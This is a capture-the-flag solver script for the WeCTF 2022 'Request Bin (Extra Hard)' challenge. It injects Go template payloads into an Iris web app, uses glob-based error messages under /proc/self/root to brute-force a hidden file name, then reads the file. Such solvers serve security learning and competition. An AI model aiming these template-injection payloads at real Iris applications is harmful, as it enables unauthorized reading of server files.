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Last active June 14, 2022 06:24
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WeCTF 2022 / Request Bin (Extra Hard)
# WeCTF 2022 ( https://github.com/wectf/2022 )
# Request Bin (Extra Hard)
# 4 solves / 2526 pts
# SSTI for Go's text/template with Iris web framework
# - Iris: https://github.com/kataras/iris
# - text/template: https://pkg.go.dev/text/template
# The goal is getting the random file name (`/$(uuidgen)-$(uuidgen)`) and printing the flag.
import httpx
import urllib
BASE_URL = "http://localhost:3000"
# BASE_URL = "http://nlmlbpltcorlkzamsnmhbiynwigiqcmi.g2.ctf.so"
def is_ok(filename: str) -> bool:
# E.g. filename == "e9ae21d2-226a-45e7-a039-5???????????-????????-????-????-????-????????????"
# `?` is used as an arbitrary character in Glob.
payload = ""
# https://github.com/kataras/iris/blob/v12.2.0-beta3/context/application.go#L16
payload += '{{ $app := .Ctx.Application }}'
# https://github.com/kataras/iris/blob/v12.2.0-beta3/i18n/i18n.go#L131
# This function uses Glob. You can judge the prefix of the file name using Glob and `/proc/self/root`.
payload += '{{ $app.I18n.Load "/proc/self/root/{{FILENAME}}" }}'.replace('{{FILENAME}}', filename)
url = f"{BASE_URL}/start?formatter=" + urllib.parse.quote(payload)
res = httpx.get(
url,
follow_redirects=True,
)
# https://github.com/kataras/iris/blob/v12.2.0-beta3/i18n/loader.go#L97
# If the prefix hits, Iris loads the file as a yaml file and fail it. Then, Iris prints a error message.
return "line 1: cannot unmarshal" in res.text
N = 64
hyphen_positions = [8, 4, 4, 4, 12, 8, 4, 4, 4, 12]
for i in range(1, len(hyphen_positions)):
hyphen_positions[i] += hyphen_positions[i-1]
assert hyphen_positions[-1] == N
xs = [None] * N
CHARS = "0123456789abcdef" # characters of uuid
for i in range(N):
ys = []
k = 0
cur = None
for j in range(N):
if j == hyphen_positions[k]:
ys.append("-")
k += 1
if j == i:
cur = len(ys)
if j < i:
ys.append(xs[j])
else:
ys.append("?")
hit_c = None
for c in CHARS:
ys[cur] = c
filename = "".join(ys)
if is_ok(filename):
hit_c = c
break
assert hit_c != None
xs[i] = hit_c
print(filename)
filename = ""
k = 0
for j in range(N):
if j == hyphen_positions[k]:
filename += "-"
k += 1
filename += xs[j]
filename = "".join(ys)
print(filename) # Get the file name of `/$(uuidgen)-$(uuidgen)`
# https://github.com/kataras/iris/blob/v12.2.0-beta3/context/context.go#L5128
payload = '{{ .Ctx.ServeFile "/{{FILENAME}}" }}'.replace('{{FILENAME}}', filename)
url = f"{BASE_URL}/start?formatter=" + urllib.parse.quote(payload)
res = httpx.get(
url,
follow_redirects=True,
)
print(res.text) # Get a flag!
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